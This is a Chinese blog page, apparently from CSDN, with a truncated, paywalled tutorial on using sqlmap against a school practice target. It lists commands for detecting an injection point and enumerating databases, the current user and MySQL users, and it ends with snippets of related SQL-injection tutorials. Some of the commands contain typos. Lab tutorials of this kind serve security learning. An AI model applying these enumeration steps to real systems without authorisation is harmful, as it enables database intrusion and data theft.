sqlmap注入实操（一）

最新推荐文章于 2025-07-13 12:38:10 发布
原创 最新推荐文章于 2025-07-13 12:38:10 发布 · 498 阅读 · 3 ·
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文是一篇关于使用sqlmap进行数据库注入的实战教程，详细介绍了从检测注入点、暴库到破解密码、登录后台的全过程。在学校的靶机上，通过sqlmap的各个参数如-D, --table, --columns等，逐步揭示了数据库信息、用户信息和敏感数据，并最终成功登录后台。" 119373938,8246902,STM32G0B1CCT6 Flash Bank2 使用指南,"['stm32', 'c语言', '嵌入式开发', '微控制器', '嵌入式系统']

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

攻击靶机

注：此为学校靶机

一、检测注入点是否可用

sqlmap存放路径>sqlmap.pu -u+"注入网址"

在这里插入图片描述

如果有若干询问语句，可添加一个参数

sqlmap存放路径>sqlmap.pu -u+"注入网址" --batch

二、暴库

1.数据库名称

sqlmap存放路径>sqlmap.pu -u+"注入网址" --dbs

在这里插入图片描述

三、web当前使用的数据库

 sqlmap存放路径>sqlmap.pu -u+"注入网址" --current -db

四、web服务器使用的账户

sqlmap存放路径>sqlmap.pu -u+"注入网址" --current -user

五、列出MySQL所有用户

sqlmap存放路径>sqlmap.pu -u+"注入网址" --users

最低0.47元/天 解锁文章

200万优质内容无限畅学
inslight
关注
SQL 注入之 sqlmap 实战
2301_77160226的博客
08-29 1799
sqlmap 是一款自动化的 SQL 注入工具，它可以检测、利用和接管数据库服务器。它支持多种数据库管理系统，包括 MySQL、Oracle、PostgreSQL、Microsoft SQL Server 等。自动化检测：能够自动检测目标网站是否存在 SQL 注入漏洞。多种攻击方式：支持基于错误、布尔盲注、时间盲注等多种 SQL 注入攻击方式。数据库枚举：可以枚举数据库的名称、表名、列名和数据。权限提升：尝试提升数据库用户的权限，以获取更高的访问权限。
sqlmap注入实战（三）
inslight的博客
09-19 661
一、寻找网站注入点 得到网站 通过burp，抓包，寻找post注入点 复制到sqlmap的根目录中，创建一个txt文件 输入命令sqlmap.py -r +文件名 由此可知，此为注入点 二、暴库 输入命令sqlmap.py -r +文件名 -dbs 输入命令sqlmap.py -r a.txt -D faka --tables获取表 输入命令sqlmap.py -r a.txt -D faka -T ayangw_config --columns获取字段名 输入命令sqlmap.py -r
sqlmap之(五)----Cookie注入实战
你身后的人
04-21 1261
(1) cookie注入，猜解表  [html] view plain copy sqlmap.py -u "http://192.168.87.129/shownews.asp" --cookie "id=27" --table --level 2    do you want to URL encode cookie values (implementation specific)? [Y/n...
90%的SQL注入漏洞挖掘靠它！SQLMap详细使用指南
最新发布
2402_84408069的博客
07-13 1070
SQLMap常用参数速查表，按功能分类整理，包含目标探测、请求控制、注入配置、数据提取等核心功能。主要参数包括：-u指定URL、-r加载请求文件、--dbs列出数据库、--tables列举表、--dump导出数据、--os-shell获取交互式shell等，并附有使用示例。适用于安全测试人员快速查阅参考，仅限合法授权场景使用。
SQLMap 注入 DVWA实战
Cobra的博客
12-16 3668
一、low级别 1、进入dvwa界面输入1，点击Submit，得到链接 http://localhost/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit# 2、我们用sqlmap进行爆破 sqlmap.py -u "http://localhost/dvwa-master/vulnerabilities/sqli/?id=1&Submit=Submit#" 我们可以看到需要跳转到login的页面，所以，认为这里.
sqlmap注入实战教程（图文详解）
热门推荐
weixin_49071539的博客
12-18 2万+
此教程使用靶场实战演示，仅供学习未经授权切勿用于非法用途 ！ 1.发现此网址可能存在sql注入漏洞，我们进行sql盲注入测试一下是否存在漏洞。 地址栏输入 and 1=1 发现页面正常显示。 再次输入and 1=2 页面出现错误，说明该页面可能存在sql注入漏洞 2.现在拿出我们的kali工具，sqlmap进行注入测试。 sqlmap -u http://219.153.49.228:49634/new_list.php?id=1 --dbs 3.可以看到存在注入漏洞，扫到了5个数据库。要获.
sqlmap工具的实操--sql注入
weixin_66839513的博客
04-01 5366
sql注入原理就是将恶意的sql语句通过表单或者url拼接到web后端的查询语句中，绕过后端的认证，在后端被服务器执行恶意的sql语句，获取到数据库的权限，从而对数据库进行执行操作，造成数据的篡改及泄露。
Pikachu用sqlmap注入实战---数字型注入
永不垂头的博客
08-06 1161
Pikachu用sqlmap注入实战—数字型注入 笔者这里以数字型注入为例进行详细展示： ①任意提交数据，使用bp抓包得到post方式提交的参数为 id=1&submit=%E6%9F%A5%E8%AF%A2 使用sqlmap跑post方式时的格式：python2 sqlmap.py -u “” --data="<post提交的参数>" -<参数> 使用sqlmap跑数据库 sqlmap.py -u “http://127.0.0.1/pikachu-master/vul/
sqlmap实战 简单的注入学习
qq_43355651的博客
11-29 779
本人是网络安全的在校学生 为了使自己更好的学习和坚持决定记录一下 希望一次次的记录可以使自己慢慢变强 自己最近在学习安全的重要工具------sqlmap，因为初次学习，为了更好的熟悉和方便，在自己本机上安装了sqlmap（未使用kali Linux）。sqlmap是一个自动化的sql注入工具，主要功能是扫描发现并利用注入漏洞。 本文为学习笔记，仅限于学习交流，不得从事违反法律相关的内容...
kali linux——SQLmap注入学习实战- dvwa
一别两宽丶各生欢喜
07-04 1万+
目录 1、安装phpstudy和dvwa创建测试环境 2、选择sql注入，输入userid并提交，记录当前url和网页cookie 3、开始sqlmap爆破 1、安装phpstudy和dvwa创建测试环境 注意： 本文图片太大，鼠标点开查看比较清晰。 dvwa文件夹放入phpstudy网站根目录下面。 修改phpstudy配置文件数据库密码为root。 dvwa登陆页面admin...
SQLMap 报错注入实战指南
m0_57836225的博客
02-25 1435
通过本文的介绍，我们了解了报错注入的原理，以及如何使用 SQLMap 进行报错注入来检测和利用 SQL 注入漏洞。SQLMap 的强大功能可以帮助我们快速、准确地发现和利用 SQL 注入漏洞，但同时也需要我们在合法、合规的前提下进行使用。希望本文对大家在 Web 安全测试方面有所帮助。
SQLmap注入工具
09-20
sqlmap是一个自动化的SQL注入工具，其主要功能是扫描，发现并利用给定的URL的SQL注入漏洞，目前支持的数据库是MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase和SAP MaxDB。采用五种独特的SQL注入技术，分别是： 1）基于布尔的盲注，即可以根据返回页面判断条件真假的注入。 2）基于时间的盲注，即不能根据页面返回内容判断任何信息，用条件语句查看时间延迟语句是否执行（即页面返回时间是否增加）来判断。 3）基于报错注入，即页面会返回错误信息，或者把注入的语句的结果直接返回在页面中。 4）联合查询注入，可以使用union的情况下的注入。 5）堆查询注入，可以同时执行多条语句的执行时的注入。 比较实用的sql注入工具
渗透测试---手把手教你sqlmap数据库注入测试(1)---靶场实战篇
weixin_52796034的博客
10-14 5439
SQLMap，就像它的名字所暗示的，是一个为我们提供方便的“SQL注入攻击”的工具。对于那些不熟悉这个概念的人来说，SQL注入是一种黑客攻击技术，允许攻击者在目标网站的数据库中执行恶意SQL语句。这意味着我们可以控制和操纵网站的数据，甚至可以完全接管整个网站。那么SQLMap如何帮助我们实现这些呢？
sqlmap自动扫描注入点_sqlmap教学实战（续），让你成为黑客大神
weixin_39843431的博客
11-26 507
上一篇文章我们讲到了sqlmap的安装与使用的基础知识。那么这节课，我们来讲解一下sqlmap的一些技巧性方面的使用方法吧，burp+sqlmap组合使用首先我们来了解一下burp是什么，Burp Suite 是用于检测web 应用程序的集成平台，包含了许多工具。Burp Suite为这些工具设计了许多接口，以加快攻击应用程序的过程。简单来说就是一款抓包工具，抓取的数据包可提供给我们渗透工程师进行...
渗透测试-SQL注入之sqlmap的使用方法及实战案例
lza20001103的博客
07-19 4433
渗透测试-SQL注入之sqlmap的使用方法及实战案例
SQLmap自动化注入实例-CMS
weixin_62715196的博客
01-12 525
通过对一个简单的cms站点进行实操，来简单叙述使用自动化工具SQLmap工具如何进行注入，获取敏感信息
sqlmap实战注入步骤——超详细
渗透测试
07-07 2934
sqlmap实战注入步骤 测试环境： 系统—>winxp 目标—>sqli—labs IP—>192.168.1.106 输入？id=1，内容出现变化，存在sql注入 打开sqlmap，输入sqlmap.py -u http://192.168.1.106/sqli-labs-master/Less-2/index.php?id=1 --dbs查看所有数据库 找到很多数据库，查找security数据库中的数据表，sqlmap.py -u http://192.168.1.106/
利用SQLmap实现 SQL 注入
m0_71805735的博客
06-21 2635
利用SQLmap实现 SQL 注入
【网络安全 | 渗透工具】SQLmap加密注入教程+实战详析
等风来
08-02 8044
在使用手工注入绕过参数加密的限制时，需要构造出原始POC再进行加密注入，耗时耗力，因此采用sqlmap加密注入。表示只对该参数进行注入测试，不加 * 的话还会测试其他参数是否为注入点，增加时间。选择默认选项，跑sqlmap的时候加上这句话可节约时间、不需要回复提示
SQLmap注入：Webshell与系统权限实战指南
SQLmap是一款强大的SQL注入自动化工具，不仅用于渗透测试，还能在某些场景下帮助获取Webshell和系统权限。本文主要关注SQLmap如何通过一系列高级功能来实现这一目标，特别强调了在特定环境下的操作。 首先，SQLmap...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值